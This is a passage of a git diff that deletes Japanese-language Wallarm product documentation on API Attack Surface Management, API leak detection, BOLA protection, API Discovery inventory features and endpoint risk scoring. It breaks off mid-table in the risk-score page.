        | -| **Medium** | セキュリティ制御の回避や限定的な露出/アクセスが生じる可能性がありますが、即座の全面侵害には至りません。ただし、機密データや設定へのアクセスを許し、より複雑な攻撃チェーンで悪用される可能性があります。 |
        • Cross-site scripting
        • GraphQLの設定不備
        • 設定ファイルの露出
        • 長寿命クレデンシャル（パスワード、APIキー）のAPI漏えい
        • HighリスクのCVEを含む脆弱なソフトウェアバージョン*
        | -| **Low** | 影響は最小限であり、要件や条件が複雑すぎるため直接的な重大被害や悪用につながりにくい脆弱性です。ただし、他の脆弱性と組み合わせることで攻撃がエスカレートする可能性があります。 |
        • TLS/SSLの誤設定
        • 短寿命の認証トークン（例: JWTトークン）のAPI漏えい
        | -| **Info** | 直ちにセキュリティリスクにはなりませんが、手動検証の対象として確認すべき事項です。多くの場合、重要度の低いデータの露出やベストプラクティス違反が該当します。 |
        • OpenAPIスキーマの露出
        • メールアドレスやユーザー名などのPII（個人を特定できる情報）の漏えい
        | - -* ソフトウェアバージョンが複数のCVE（Criticalを含む）を内包する場合、総合的なリスクレベルはHighに評価されます。脆弱なバージョンの存在は必ずしも脆弱性の顕在化を意味しないため、リスクレベルは1段階下げられます。例えば、特定の非デフォルト設定でのみ発生する、あるいは一定の条件を満たす必要がある場合があります。 - -リスクレベルはいつでも再評価し、手動で調整できます。 - -## セキュリティ問題のレポート - -**Download report**ボタンから、すべてまたはフィルタ済みのセキュリティ問題のレポートをCSVまたはJSON形式で取得できます。 - -![Security Issuesの詳細 - Lifecycle controls](../images/api-attack-surface/security-issues-report.png) - -セキュリティ問題に関する任意の情報は、API攻撃対象領域の[詳細なDOCXレポート](api-surface.md#api-attack-surface-reports)にも含まれます。 - -## 通知 - ---8<-- "../include/api-attack-surface/aasm-notifications.md" - - -## API漏えい - -他の種類のセキュリティ問題とあわせて、WallarmはAPIクレデンシャルの公開露出（API漏えい）も検出します。漏えいしたAPIキーにより、攻撃者が正規ユーザーになりすまし、機密の財務データへアクセスしたり、トランザクションの流れを操作したりできる可能性があります。 - -Wallarmは次の2段階の手順でAPI漏えいのセキュリティ問題を探索します。 - -1. **Passive scan**: 対象ドメインに関連する公開（漏えい）データがないか、公開リソースを確認します。 -1. **Active scan**: 対象ドメインから自動でサブドメインを探索します。次に、未認証ユーザーとしてそのエンドポイントにリクエストを送信し、レスポンスおよびページのソースコードに機微情報が含まれていないか確認します。探索対象のデータは、クレデンシャル、APIキー、クライアントシークレット、認可トークン、メールアドレス、公開/非公開のAPIスキーマ（API仕様）です。 - -検出された漏えいへの対応は次のとおり管理できます。 - -* Wallarmの[ノード](../user-guides/nodes/nodes.md)を展開している場合は、漏えいしたAPIクレデンシャルの使用試行をすべてブロックするために仮想パッチを適用します。 - - [仮想パッチルール](../user-guides/rules/vpatch-rule.md)が作成されます。 - - なお、仮想パッチの作成は、漏えいしたシークレット値が6文字以上、または正規表現が4096文字以下の場合にのみ可能です。条件を満たさない場合は、`Not applicable`という修復ステータスが表示されます。これらの制限は正当なトラフィックのブロックを防ぐことを目的としています。 - -* 誤検知だと思われる場合は、漏えいをfalseとしてマークします。 -* 問題が解決したことを示すために、漏えいをクローズします。 -* 漏えいをクローズしても削除はされません。問題がなお有効であることを示すために再オープンできます。 - -**仮想パッチでブロックされたリクエストの表示** - -[仮想パッチ](../user-guides/rules/vpatch-rule.md)でブロックされたリクエストは、Wallarm Console → **Attacks**で、**Type**フィルターを`Virtual patch`（`vpatch`）に設定すると表示できます。 - -![Events - Security Issues（API漏えい）via vpatch](../images/api-attack-surface/api-leaks-in-events.png) - -このフィルターには、**Security Issues**機能によって生成されたvirtual patchイベントだけでなく、他の目的で作成されたすべてのvirtual patchも一覧表示される点に注意してください。 \ No newline at end of file diff --git a/docs/latest-ja/api-attack-surface/setup.md b/docs/latest-ja/api-attack-surface/setup.md deleted file mode 100644 index ef46e8e9e9..0000000000 --- a/docs/latest-ja/api-attack-surface/setup.md +++ /dev/null @@ -1,137 +0,0 @@ -[link-aasm-security-issue-risk-level]: security-issues.md#issue-risk-level -[link-integrations-intro]: ../user-guides/settings/integrations/integrations-intro.md -[link-integrations-email]: ../user-guides/settings/integrations/email.md#setting-up-integration - -# API Attack Surface Managementのセットアップ - -この記事では、[API Attack Surface Management](overview.md)を有効化および構成し、APIを持つ外部ホストを発見し、未導入のWAF/WAAPソリューションを特定し、APIリークやその他の脆弱性を軽減する方法を説明します。 - -## 有効化 - -AASMを使用するには、貴社のWallarmに[API Attack Surface](../about-wallarm/subscription-plans.md#api-attack-surface)サブスクリプションプランが有効である必要があります。有効化するには、次のいずれかを実施してください。 - -* まだWallarmアカウントがない場合は、Wallarmの公式サイト[こちら](https://www.wallarm.com/product/aasm)で価格情報を確認し、AASMを有効化してください。 - - これによりCore (freemium)版が有効化され、使用したメールアドレスのドメインのスキャンが直ちに開始されます。有効化後、スコープに[ドメインを追加](setup.md)できます。 - - Enterprise機能が不要である限り、Core版を必要なだけ継続して利用できます。各バージョンの違いは[こちら](https://www.wallarm.com/product/aasm-pricing)をご参照ください。 - -* すでにWallarmアカウントをお持ちの場合は、[sales@wallarm.com](mailto:sales@wallarm.com)までご連絡ください。 - -## Domains and hosts - -### スコープへの追加 - -選択したドメイン配下のホストを検出し、これらのホストに関連するセキュリティ問題を検索するように[API Attack Surface Management](overview.md)を構成するには、次の手順を実行します。 - -1. Wallarm Consoleで、**AASM** → **API Attack Surface** → **Configure** → **Domains and hosts**に進みます。 -1. ドメインをスコープに追加し、スキャン状況を確認します。 - - 新しく追加された各ドメインについて、[**Scan configuration**](#scan-configuration)で選択したデータのスキャンがWallarmにより直ちに開始されます。必要に応じて進行中のスキャンを停止できますが、その場合はすべての結果が消去されます。 - -1. 追加したドメインについては、ホストは自動的に検出されます。必要に応じて、手動でホストを追加できます。**Add host**をクリックし、カンマ、セミコロン、スペース、または改行で区切ったホストを貼り付けます。 -1. ドメインをクリックすると、検出済みおよび追加済みの各ホストの詳細を表示できます。 - - ![AASM - スコープの設定](../images/api-attack-surface/aasm-scope.png) - -### スコープからの削除 - -スコープからドメインを削除できます。削除すると、このドメインに対してこれまでに検出されたホストおよび手動で追加されたホストはすべて一覧から削除されます。 - -1. **Domains and hosts**タブで、チェックボックスによりドメインを選択し、**Delete**をクリックします。 -1. これらのドメインに対してセキュリティ問題が見つかっている可能性があるため、問題の扱いを選択する必要があります。選択肢は次のとおりです。 - - * 関連するセキュリティ問題を保持 - * 関連するセキュリティ問題をクローズ - * 関連するセキュリティ問題を誤検知としてマーク - * 関連するセキュリティ問題を削除 - -## Scan configuration - -[API Attack Surface Management](overview.md)により、ドメインに関連するどの種類のデータを検索・表示するかを選択できます。 - -### 一般設定 - -利便性のため、Wallarmはスキャン設定用の事前定義プロファイルを提供しています。内容を把握するため、プロファイルを切り替えてお試しください。 - -![AASM - スキャン設定](../images/api-attack-surface/aasm-scan-configuration.png) - -プロファイルの概要: - -| Profile | 説明 | -| --- | --- | -| **Full** | すべての種類のネットワークサービスを対象に検索し、WAAPカバレッジを包括的に確認し、あらゆる手法でAPIリークを探索し、すべての脆弱性検出モジュールを有効にする最も包括的なスキャンです。 | -| **Fast** | 攻撃対象領域と基本的な問題を迅速にスキャンします。外部API検出の除外、APIリーク検索からの公開HTML/JSコンテンツの除外、脆弱性検出モジュールの限定が可能です。 | -| **Vulnerabilities & API leaks** | セキュリティ問題の検出に特化したスキャンです。 | -| **Attack surface inventory** | セキュリティ問題を検索せずに、攻撃対象領域を迅速に特定・把握します。 | -| **API leaks - passive** | インフラストラクチャへの相互作用を行わず、APIリークのみを検索します。 | -| **Custom** | 他のプロファイルのいずれかに調整を加えると常に有効になります。 | - -スキャンオプションを構成するには: - -1. Wallarm Consoleで、**AASM** → **API Attack Surface** → **Configure** → **Scan configuration**に進みます。 -1. 適切なプロファイルを選択します。 -1. 必要に応じてプロファイルのオプションを手動で調整します。一部のオプションは特定のプロファイルからは除外できない点にご注意ください。 - - !!! warning "編集中の変更を失わないようにしてください" - オプションに加えた変更は、標準プロファイルを再度クリックすると失われることにご注意ください。 - -### Subdomain discovery - -場合によっては、サブドメイン検出を無効にする（`example.com`はスキャンするが`app1.example.com`はスキャンしない）方が適切なことがあります。 - -* サブドメインの所有者ではない（子会社や支社が所有している可能性があります） -* すべてのサブドメインがワイルドカード（任意の名前のサブドメインが存在し得る）であり、サブドメイン数が無限 -* スキャンのパフォーマンスをさらに最適化したい - -構成でサブドメイン検出が有効（**Scan configuration** → **Scanning profile** → **Network service discovery** → **Subdomain discovery**）になっている場合、このオプションはドメインごとに調整できます。手順は次のとおりです。 - -1. **Domains and hosts**タブに移動します。 -1. 各ドメインの**With subdomains**オプションをオフ/オンに切り替えます。 - - グローバルオプションが優先される点に注意してください。グローバルで無効化されている場合、どこでもサブドメインは検索されません。グローバルで有効化されている場合、ドメイン単位のオプションで例外設定が可能です。 - -## Auto rescan - -Auto rescanが有効な場合、追加済みドメインは7日ごとに自動的に再スキャンされます。新規ホストは自動的に追加され、再スキャン時に見つからなかった既存ホストも一覧に残ります。 - -Auto rescanを構成するには: - -1. Wallarm Consoleで、**AASM** → **API Attack Surface** → **Configure** → **Scan configuration**に進み、**Auto rescan**オプションを有効化します。 -1. **Domains and hosts**タブで、自動再スキャンの対象に含める/除外するドメインを選択します。 - - グローバルオプションが優先されます。無効化されている場合、自動再スキャンは実行されません。ドメイン単位のオプションで、特定のドメインをAuto rescanから除外できます。 - -![AASM - Auto rescanの設定](../images/api-attack-surface/aasm-auto-rescan.png) - -## 手動再スキャン - -**AASM** → **API Attack Surface** → **Configure** → **Domains and hosts**で**Scan now**ボタンをクリックすると、任意のドメインに対して手動でスキャンを開始できます。 - -必要に応じて進行中のスキャンを停止できますが、その場合はすべての結果が消去されます。 - -## ブロックされないようにする - -Wallarmに加えて、トラフィックを自動的にフィルタリングおよびブロックする追加の仕組み（ソフトウェアまたはハードウェア）を使用している場合は、API Attack Surface Management用のIPアドレスを含む[許可リストを構成](../admin-en/scanner-addresses.md)することを推奨します。 - -これにより、API Attack Surface Managementを含むWallarmのコンポーネントが、脆弱性の有無についてお客様のリソースをシームレスにスキャンできるようになります。 - -## Scanning status - -ドメインがスコープに追加された時刻および最後にスキャンされた時刻の概要は、**AASM** → **API Attack Surface** → **Configure** → **Domains and hosts**に表示されます。 - -![AASM - スコープのドメイン設定](../images/api-attack-surface/aasm-scope.png) - -設定ダイアログからメインのAPI Attack Surface画面に戻ると、まずHost scanning statusの概要が表示されます。その後、詳細なスキャン履歴を確認するにはScanning statusタブに切り替えます。以下の内容が含まれます。 - -* どのドメインがスキャンされたか（Target） -* スキャンの開始方法（手動か自動か）（Start-up option） -* このスキャンで検出されたホストの総数と新規ホスト数 -* このスキャンで検出されたセキュリティ問題の総数と新規セキュリティ問題数 -* スキャンのステータス、開始日時と終了日時 - -![AASM - 詳細なスキャン状況](../images/api-attack-surface/aasm-scanning-status.png) - -## 通知 - ---8<-- "../include/api-attack-surface/aasm-notifications.md" \ No newline at end of file diff --git a/docs/latest-ja/api-discovery/bola-protection.md b/docs/latest-ja/api-discovery/bola-protection.md deleted file mode 100644 index 968235fa9f..0000000000 --- a/docs/latest-ja/api-discovery/bola-protection.md +++ /dev/null @@ -1,15 +0,0 @@ -# BOLA攻撃に対する自動保護 - -[オブジェクトレベル認可の不備（BOLA）](../attacks-vulns-list.md#broken-object-level-authorization-bola)のような振る舞いベースの攻撃は、同名の脆弱性を悪用します。この脆弱性により、攻撃者はAPIリクエストでオブジェクトの識別子を用いてオブジェクトにアクセスし、認可メカニズムを回避してそのデータの読み取りや変更を行うことができます。 - -BOLA攻撃の潜在的な標的は可変性のあるエンドポイントです。Wallarmは、[API Discovery](overview.md)モジュールが探索したエンドポイントの中から、そのようなエンドポイントを自動的に検出して保護できます。 - -自動BOLA保護を有効にするには、Wallarm Console → [**BOLA protection**](../admin-en/configuration-guides/protecting-against-bola.md)に移動し、スイッチを有効に切り替えます: - -![BOLAトリガー](../images/user-guides/bola-protection/trigger-enabled-state.png) - -保護された各APIエンドポイントは、API inventory内で対応するアイコンで強調表示されます。例: - -![BOLAトリガー](../images/about-wallarm-waf/api-discovery/endpoints-protected-against-bola.png) - -BOLA自動保護の状態でAPIエンドポイントをフィルタリングできます。該当するパラメータは**Others**フィルターの下にあります。 \ No newline at end of file diff --git a/docs/latest-ja/api-discovery/dashboard.md b/docs/latest-ja/api-discovery/dashboard.md deleted file mode 100644 index 5b11f39121..0000000000 --- a/docs/latest-ja/api-discovery/dashboard.md +++ /dev/null @@ -1,10 +0,0 @@ -[apid-overview]: overview.md -[apid-risk-score]: risk-score.md -[apid-track-changes]: track-changes.md -[apid-rogue]: rogue-api.md -[check-attack]: ../user-guides/events/check-attack.md -[img-api-discovery-widget]: ../images/user-guides/dashboard/api-discovery-widget.png - -# API Discoveryダッシュボード - ---8<-- "../include/api-discovery/dashboard.md" \ No newline at end of file diff --git a/docs/latest-ja/api-discovery/exploring.md b/docs/latest-ja/api-discovery/exploring.md deleted file mode 100644 index 64579cea4e..0000000000 --- a/docs/latest-ja/api-discovery/exploring.md +++ /dev/null @@ -1,143 +0,0 @@ -# APIインベントリの探索 - -[API Discovery](overview.md)モジュールがエンドポイント（APIインベントリ）のカタログを構築すると、Wallarm Consoleの**API Discovery**セクションで探索できます。本記事では、検出されたデータの見方を説明します。 - -## エンドポイント - -検出済みのAPIインベントリは、[US](https://us1.my.wallarm.com/api-discovery)または[EU](https://my.wallarm.com/api-discovery) Cloudの**API Discovery**セクションで探索します。 - -![API Discoveryが検出したエンドポイント](../images/about-wallarm-waf/api-discovery/discovered-api-endpoints.png) - -**API Discovery**セクションを開くたびに、直近1週間に検出されたすべてのエンドポイントとその[変更](track-changes.md)が表示されます。**Changes since**フィルタで、`Last week`を他の期間に変更できます。 - -デフォルトでは、エンドポイントはホスト/エンドポイント名でソートされ（ホストごとにグループ化）されます。**Hits**または**Risk**でソートするとグループ化は解除されます。デフォルトに戻すには、hosts/endpoint列をもう一度クリックします。 - -### 外部と内部 - -外部ネットワークから到達可能なエンドポイントは主な攻撃経路です。したがって、外部から利用可能なものを把握し、まずはこれらのエンドポイントに注意を向けることが重要です。 - -Wallarmは検出したAPIを外部と内部に自動で分類します。以下のいずれかに該当する場合、ホスト（およびその配下のすべてのエンドポイント）は内部と見なされます: - -* プライベートIPまたはローカルIPアドレス -* 汎用トップレベルドメイン（例: localhost、dashboardなど） - -それ以外の場合、ホストは外部と見なされます。 - -デフォルトでは、すべてのAPIホスト（外部・内部）が一覧表示されます。作成されたAPIインベントリでは、内部APIと外部APIを個別に表示できます。これには、**External**または**Internal**をクリックします。 - -### フィルタリング - -多様なAPIエンドポイント用フィルタの中から、分析目的に応じて選択できます。例えば次のような条件があります: - -* 攻撃を受けたエンドポイントのみを対象にし、**Hits**の数でソートする。 -* 機微データを処理し、かつ高い[リスクレベル](risk-score.md)のアクティブな脆弱性を持つ、最も脆弱なエンドポイントを特定する。高リスクレベルの脆弱性を悪用されると、そのエンドポイントが処理・保存する機微データの窃取を含む多くの悪意ある操作を攻撃者に許してしまいます。 -* [ローグエンドポイント](rogue-api.md)（shadow、orphan、zombie）を特定する。 -* 直近1週間に変更された、または新たに検出され、かつPIIデータを処理しているエンドポイントを見つける。このような照会は、APIの重要な[変更](track-changes.md)を常に把握するのに役立ちます。 -* PUTまたはPOST呼び出しでサーバーへデータをアップロードするために使用されているエンドポイントを見つける。この種のエンドポイントは攻撃対象になりやすいため、十分に保護されている必要があります。このような照会により、該当エンドポイントがチームで把握され、攻撃から適切に保護されていることを確認できます。 -* 顧客のクレジットカードデータを処理しているエンドポイントを見つける。この照会によって、機微データが保護されたエンドポイントでのみ処理されていることを確認できます。 -* 非推奨のAPIバージョンのエンドポイント（例: `/v1`で検索）を見つけ、クライアントに使用されていないことを確認する。 - -フィルタ済みデータは、追加分析のためOpenAPI v3としてエクスポートできます。 - -## エンドポイントの詳細 - -エンドポイントをクリックすると、リクエスト統計、リクエスト/レスポンスのヘッダーおよびパラメータ（関連するデータ型を含む）などの詳細も確認できます: - -![API Discoveryが検出したリクエストパラメータ](../images/about-wallarm-waf/api-discovery/discovered-request-params-4.10.png) - -各リクエスト/レスポンスパラメータの情報には次が含まれます: - -* パラメータ名と、このパラメータが属するリクエスト/レスポンスの位置 -* パラメータの変更情報（新規、未使用） -* このパラメータで送信される機微データの有無と種類。例: - - * IPやMACアドレスなどの技術的データ - * シークレットキーやパスワードなどのログイン認証情報 - * クレジットカード番号などの金融データ - * 医療免許番号などの医療データ - * 氏名、パスポート番号、SSNなどの個人を特定できる情報（PII） - -* このパラメータで送信されるデータの[型/形式](#format-and-data-type) -* パラメータ情報が最後に更新された日時 - -!!! info "レスポンスパラメータの利用可否" - レスポンスパラメータは、ノード4.10.1以上を使用している場合にのみ利用できます。 - -### 形式とデータ型 - -**Type**列には、トラフィック解析で特定されたデータの形式、または特定できない場合は一般的なデータ型が表示されます。 - -Wallarmは、`Int32`、`Int64`、`Float`、`Double`、`Datetime`、`IPv4`/`IPv6`など、さまざまなデータ形式の検出を試みます。どの既知のデータ形式にも合致しない値は、`Integer`、`Number`、`String`、`Boolean`のような一般的なデータ型として分類されます。 - -この情報により、各パラメータに期待された形式の値が渡されているかを確認できます。不整合がある場合、攻撃またはAPIのスキャンが原因である可能性があります。例: - -* `IP`のフィールドに`String`の値が渡されている -* `Int32`以下であるべきフィールドに`Double`の値が渡されている - -### 可変性 - -URLには、ユーザーIDのような多様な要素が含まれることがあります。例: - -* `/api/articles/author/author-a-0001` -* `/api/articles/author/author-a-1401` -* `/api/articles/author/author-b-1401` - -**API Discovery**モジュールは、このような要素をエンドポイントパス内で{parameter_X}形式に正規化します。したがって上記の例は3つのエンドポイントではなく、次の1つに統合されます: - -* `/api/articles/author/{parameter_1}` - -エンドポイントをクリックしてパラメータを展開し、可変パラメータに自動検出された型を確認します。 - -![API Discovery - パスの可変性](../images/about-wallarm-waf/api-discovery/api-discovery-variability-in-path-4.10.png) - -アルゴリズムは新しいトラフィックを解析します。統合されるべきアドレスが表示されているのにまだ統合されていない場合は、少し時間を置いてください。十分なデータが集まると、システムは新たに見つかったパターンと適切な件数の一致アドレスに基づいてエンドポイントを統合します。 - -## エンドポイントのアクティビティ - -### 攻撃 - -過去7日間のAPIエンドポイントへの攻撃件数は**Hits**列に表示されます。フィルタで**Others** → **Attacked endpoints**を選択すると、攻撃を受けたエンドポイントのみを表示できます。 - -特定のエンドポイントへの攻撃を確認するには、**Hits**列の数値をクリックします: - -![APIエンドポイント - イベントを開く](../images/about-wallarm-waf/api-discovery/endpoint-open-events.png) - -**Attacks**セクションが、[フィルタ適用済み](../user-guides/search-and-filters/use-search.md)の状態で表示されます: - -``` -attacks last 7 days endpoint_id: -``` - -エンドポイントのURLをクリップボードにコピーして、イベントの検索に使用することもできます。これを行うには、該当エンドポイントのメニューで**Copy URL**を選択します。 - -### すべてのアクティビティ - -そのエンドポイントに関連するすべてのリクエスト数は**Requests**列に表示されます。この数値をクリックすると、直近1週間のそれらのリクエストを含むユーザーセッションの一覧が、[**API Sessions**](../api-sessions/overview.md)セクションで開きます。 - -各セッション内では、最初は該当エンドポイントへのリクエストのみが表示されます。コンテキストを把握するために全リクエストを見たい場合は、セッション内でエンドポイントによるフィルタを外してください。 - -セッションアクティビティの構造化ビューは、悪意のある活動と正当な活動の中で当該エンドポイントがどの位置付けにあるか、機微なビジネスフローとの関係、および必要な保護策の理解に役立ちます。 - -## APIエンドポイント向けルールの作成 - -APIインベントリ内の任意のエンドポイントから、すばやく新しい[カスタムルール](../user-guides/rules/rules.md)を作成できます: - -1. 該当エンドポイントのメニューで**Create rule**を選択します。ルール作成ウィンドウが表示され、エンドポイントアドレスは自動で解析されて入力されます。 -1. ルール作成ウィンドウでルール情報を指定し、**Create**をクリックします。 - -![エンドポイントからルールを作成](../images/about-wallarm-waf/api-discovery/endpoint-create-rule.png) - -## APIインベントリデータのエクスポート - -**API Discovery**のUIでは、現在のフィルタ済みエンドポイント一覧を[OpenAPI v3](https://spec.openapis.org/oas/v3.0.0)の仕様またはCSVファイルとしてエクスポートできます。 - -エクスポートするには、Wallarm Console → **API Discovery**で**OAS/CSV**オプションを使用します。次の点に留意してください: - -* **OAS**では、フィルタ済みエンドポイントを含む`swagger.json`が返されます。個別のエンドポイントメニューの**Download OAS**ボタンも使用できます - - ダウンロードした仕様をPostmanのような他アプリケーションで利用することで、エンドポイントの脆弱性検査や各種テストを実施できます。加えて、機微データの処理や非公開パラメータの有無など、エンドポイントの機能を詳細に検証できます。 - -* **CSV**では、フィルタ済みエンドポイントのデータがテキストのカンマ区切り形式で返され、他のプログラムへのエクスポートが容易です。 - -!!! warning "ダウンロードしたSwaggerファイルのAPIホスト情報" - 検出されたAPIインベントリに複数のAPIホストが含まれている場合、すべてのAPIホストのエンドポイントがダウンロードファイルに含まれます。現在、APIホスト情報はファイルに含まれていません。 \ No newline at end of file diff --git a/docs/latest-ja/api-discovery/overview.md b/docs/latest-ja/api-discovery/overview.md deleted file mode 100644 index 78df4d2b68..0000000000 --- a/docs/latest-ja/api-discovery/overview.md +++ /dev/null @@ -1,133 +0,0 @@ -# API Discoveryの概要 - -Wallarmプラットフォームの**API Discovery**モジュールは、実際のAPI利用状況に基づいてアプリケーションのREST APIインベントリを構築します。モジュールは実トラフィックのリクエストを継続的に分析し、その結果に基づいてAPIインベントリを作成します。 - -APIインベントリには以下の要素が含まれます: - -* APIエンドポイント -* リクエストメソッド（GET、POSTなど） -* リクエストおよびレスポンスの必須/任意のGET、POST、ヘッダーの各パラメータ。以下を含みます: - * 各パラメータで送られるデータの[型/フォーマット](./exploring.md#format-and-data-type) - * パラメータ情報が最後に更新された日時 - -!!! info "レスポンスパラメータの可用性" - レスポンスパラメータはノード4.10.1以上を使用している場合にのみ利用できます。 - -
        - -
        - -
        -
        - -## API Discoveryで解決する課題 - -「実態に即した完全なAPIインベントリの構築」が、API Discoveryモジュールが取り組む主な課題です。 - -APIインベントリを最新に保つことは難しい作業です。複数のチームが異なるAPIを使用しており、APIドキュメントを作成するために異なるツールやプロセスが用いられることは一般的です。その結果、企業は自社がどのAPIを保有し、どのデータを公開しているのか、そしてAPIドキュメントが最新であるかの把握に苦労します。 - -API Discoveryモジュールは実トラフィックをデータソースとして使用するため、実際にリクエストを処理しているすべてのエンドポイントをAPIインベントリに含めることで、最新かつ完全なAPIドキュメントの取得に役立ちます。 - -**WallarmによってAPIインベントリが把握されると、次のことが可能です**: - -* [外部と内部](exploring.md#external-vs-internal)のAPI一覧を含む、APIエステート全体を可視化できます。 -* APIに[どのようなデータ](exploring.md#endpoint-details)が出入りしているかを確認できます。 -* 未解決の脆弱性があるエンドポイントの一覧を取得できます。 -* 任意のAPIエンドポイントごとに、過去7日間に発生した脅威の一覧を取得できます。 -* 攻撃されたAPIのみをフィルタリングし、Hitsの数で並べ替えできます。 -* [機密データ](#sensitive-data-detection)を扱うAPIをフィルタリングできます。 -* APIインベントリの構造と問題点を、使いやすい[dashboard](dashboard.md)で可視化されたサマリーとして確認できます。 -* どのエンドポイントが攻撃対象に[なりやすい](risk-score.md)かを把握できます。 -* [シャドーAPI、オーファンAPI、ゾンビAPI](rogue-api.md)を発見できます。 -* 選択した期間内にAPIで発生した[Track changes](track-changes.md)を確認できます。 -* [BOLA auto protection state](bola-protection.md)でAPIエンドポイントをフィルタリングできます。 -* 開発者に、作成されたAPIインベントリの閲覧とダウンロードのための[アクセス](../user-guides/settings/users.md#user-roles)を付与できます。 - -## API Discoveryはどのように動作しますか？ - -API Discoveryはリクエスト統計に依拠し、実際のAPI利用に基づいた最新のAPI仕様を生成するために高度なアルゴリズムを使用します。 - -### トラフィック処理 - -API DiscoveryはローカルとCloudの双方で分析を実施するハイブリッドアプローチを採用します。このアプローチにより、統計分析にはCloudの処理能力を活用しつつ、リクエストデータや機密データはローカルに保持する[プライバシー最優先のプロセス](#security-of-data-uploaded-to-the-wallarm-cloud)が実現します: - -1. API Discoveryは正当なトラフィックをローカルで分析します。Wallarmは、リクエストが送られるエンドポイントや、どのパラメータが渡され、どのパラメータが返されるかを分析します。 -1. このデータに基づいて統計を作成し、Cloudに送信します。 -1. Wallarm Cloudは受信した統計を集約し、それに基づいて[APIの説明](exploring.md)を構築します。 - - !!! info "ノイズ検出" - まれなリクエストや単発のリクエストは[ノイズとして判定](#noise-detection)され、APIインベントリには含まれません。 - -### ノイズ検出 {#noise-detection} - -API Discoveryモジュールは、次の2つの主要なトラフィック特性に基づいてノイズを検出します: - -* エンドポイントの安定性 - 最初のリクエストから5分以内に、少なくとも5件のリクエストが記録される必要があります。 -* パラメータの安定性 - 当該エンドポイントへのリクエストにおけるそのパラメータの出現率が1パーセントを超えている必要があります。 - -これらの閾値を満たしたエンドポイントとパラメータのみがAPIインベントリに表示されます。完全なAPIインベントリの構築に要する時間は、トラフィックの多様性と量に依存します。 - -また、API Discoveryは次の基準に基づいてリクエストをフィルタリングします: - -* サーバーが2xxの範囲で応答したリクエストのみを処理します。 -* REST APIの設計原則に適合しないリクエストは処理しません。 - - これはレスポンスの`Content-Type`ヘッダーを確認することで行います。ヘッダーに`application/json`（例: `Content-Type: application/json;charset=utf-8`）が含まれていない場合、そのリクエストは非REST APIと見なされ、分析しません。 - - ヘッダーが存在しない場合は、API Discoveryはリクエストを分析します。 - -* `Accept`などの標準的なフィールドは除外します。 -* `localhost`やループバックアドレスを対象とするリクエストは処理しません。 - -### 機密データの検出 {#sensitive-data-detection} - -API Discoveryは、APIが扱う機密データを[検出してハイライト表示](sensitive-data.md)します: - -* IPアドレスやMACアドレスなどの技術的データ -* シークレットキーやパスワードなどの認証情報 -* クレジットカード番号などの金融データ -* 医療免許番号などの医療関連データ -* 氏名、パスポート番号、社会保障番号（SSN）などの個人を特定できる情報（PII） - -API Discoveryは検出プロセスの調整や独自の機密データパターンの追加が可能です（NGINX Node 5.0.3またはNative Node 0.7.0以上が必要です）。 - -### センシティブなビジネスフロー - -[センシティブなビジネスフロー](sbf.md)機能により、API Discoveryは認証、アカウント管理、課金などの重要なビジネスフローや機能に不可欠なエンドポイントを自動的に特定できます。 - -自動識別に加えて、割り当てられたセンシティブなビジネスフロータグを手動で調整したり、任意のエンドポイントにタグを手動で設定したりできます。 - -エンドポイントにセンシティブなビジネスフロータグが割り当てられると、特定のビジネスフローで検出済みのエンドポイントをフィルタリングできるようになり、最重要のビジネス機能を保護しやすくなります。 - -![API Discovery - センシティブなビジネスフローによるフィルタリング](../images/about-wallarm-waf/api-discovery/api-discovery-sbf-filter.png) - -### Wallarm Cloudにアップロードされるデータのセキュリティ {#security-of-data-uploaded-to-the-wallarm-cloud} - -API Discoveryはほとんどのトラフィックをローカルで分析します。モジュールがWallarm Cloudに送信するのは、検出されたエンドポイント、パラメータ名、および各種の統計データ（到着時刻、件数など）のみです。すべてのデータは安全なチャネルで送信されます。統計をWallarm Cloudにアップロードする前に、API Discoveryモジュールは[SHA-256](https://en.wikipedia.org/wiki/SHA-2)アルゴリズムを使用してリクエストパラメータの値をハッシュ化します。 - -クラウド側では、ハッシュ化されたデータは統計分析（例えば、同一パラメータのリクエスト件数の集計など）に使用されます。 - -その他のデータ（エンドポイントの値、リクエストメソッド、パラメータ名）はWallarm Cloudにアップロードする前にハッシュ化しません。ハッシュは元の値に復元できないため、ハッシュ化するとAPIインベントリの構築が不可能になるためです。 - -!!! warning "重要" - Wallarmは、パラメータに指定された値そのものをCloudに送信しません。送信するのはエンドポイント、パラメータ名、およびそれらに関する統計のみです。 - -## API Discoveryのデモ動画 - -API Discoveryのデモ動画をご覧ください: - -
        - -
        - -## PlaygroundでAPI Discoveryを試す - -サインアップやノードのデプロイ前にモジュールを試したい場合は、[Wallarm PlaygroundのAPI Discovery](https://tour.playground.wallarm.com/api-discovery/?utm_source=wallarm_docs_apid)を探索してください。 - -Playgroundでは、実データで満たされたかのようにAPI Discoveryのviewにアクセスでき、モジュールの動作を学んで試すことができ、読み取り専用モードで有用な使用例も確認できます。 - -![API Discovery – サンプルデータ](../images/about-wallarm-waf/api-discovery/api-discovery-sample-data.png) - -## API Discoveryの有効化と設定 - -API Discoveryを使い始めるには、[API Discoveryのセットアップ](setup.md)に従って有効化と設定を行ってください。 \ No newline at end of file diff --git a/docs/latest-ja/api-discovery/risk-score.md b/docs/latest-ja/api-discovery/risk-score.md deleted file mode 100644 index a2ef19ec3b..0000000000 --- a/docs/latest-ja/api-discovery/risk-score.md +++ /dev/null @@ -1,55 +0,0 @@ -# エンドポイントのリスクスコア - -[API Discovery](overview.md)は、APIインベントリ内の各エンドポイントに対して自動的にリスクスコアを計算します。リスクスコアによって、どのエンドポイントが攻撃対象になりやすいかを把握でき、セキュリティ対応の重点を定められます。 - -## リスクスコアの要因 - -リスクスコアは複数の要因で構成され、最終的なリスクスコアの計算時に各要因には固有の重みが設定されます。既定では、すべての要因の中で最も高い重みがエンドポイントのリスクスコアとして使用されます。 - -| 要因 | 説明 | 既定の重み | -| --- | --- | --- | -| アクティブな脆弱性 | [アクティブな脆弱性](../about-wallarm/detecting-vulnerabilities.md)は不正なデータアクセスや破損につながる可能性があります。 | 9 | -| BOLAに脆弱である可能性 | ユーザーIDなどの[可変パス部](exploring.md#variability)の存在（例：`/api/articles/author/{parameter_X}`）。攻撃者はオブジェクトIDを操作し、リクエスト認証が不十分な場合、オブジェクトの機微データを読み取ったり変更したりできます（[BOLA攻撃](../admin-en/configuration-guides/protecting-against-bola.md)）。 | 6 | -| 機微データを含むパラメータ | 攻撃者はAPIを直接攻撃するのではなく、[機微データ](overview.md#sensitive-data-detection)を盗み、それを用いてシームレスにリソースへ到達することがあります。 | 8 | -| クエリおよびボディパラメータの数 | 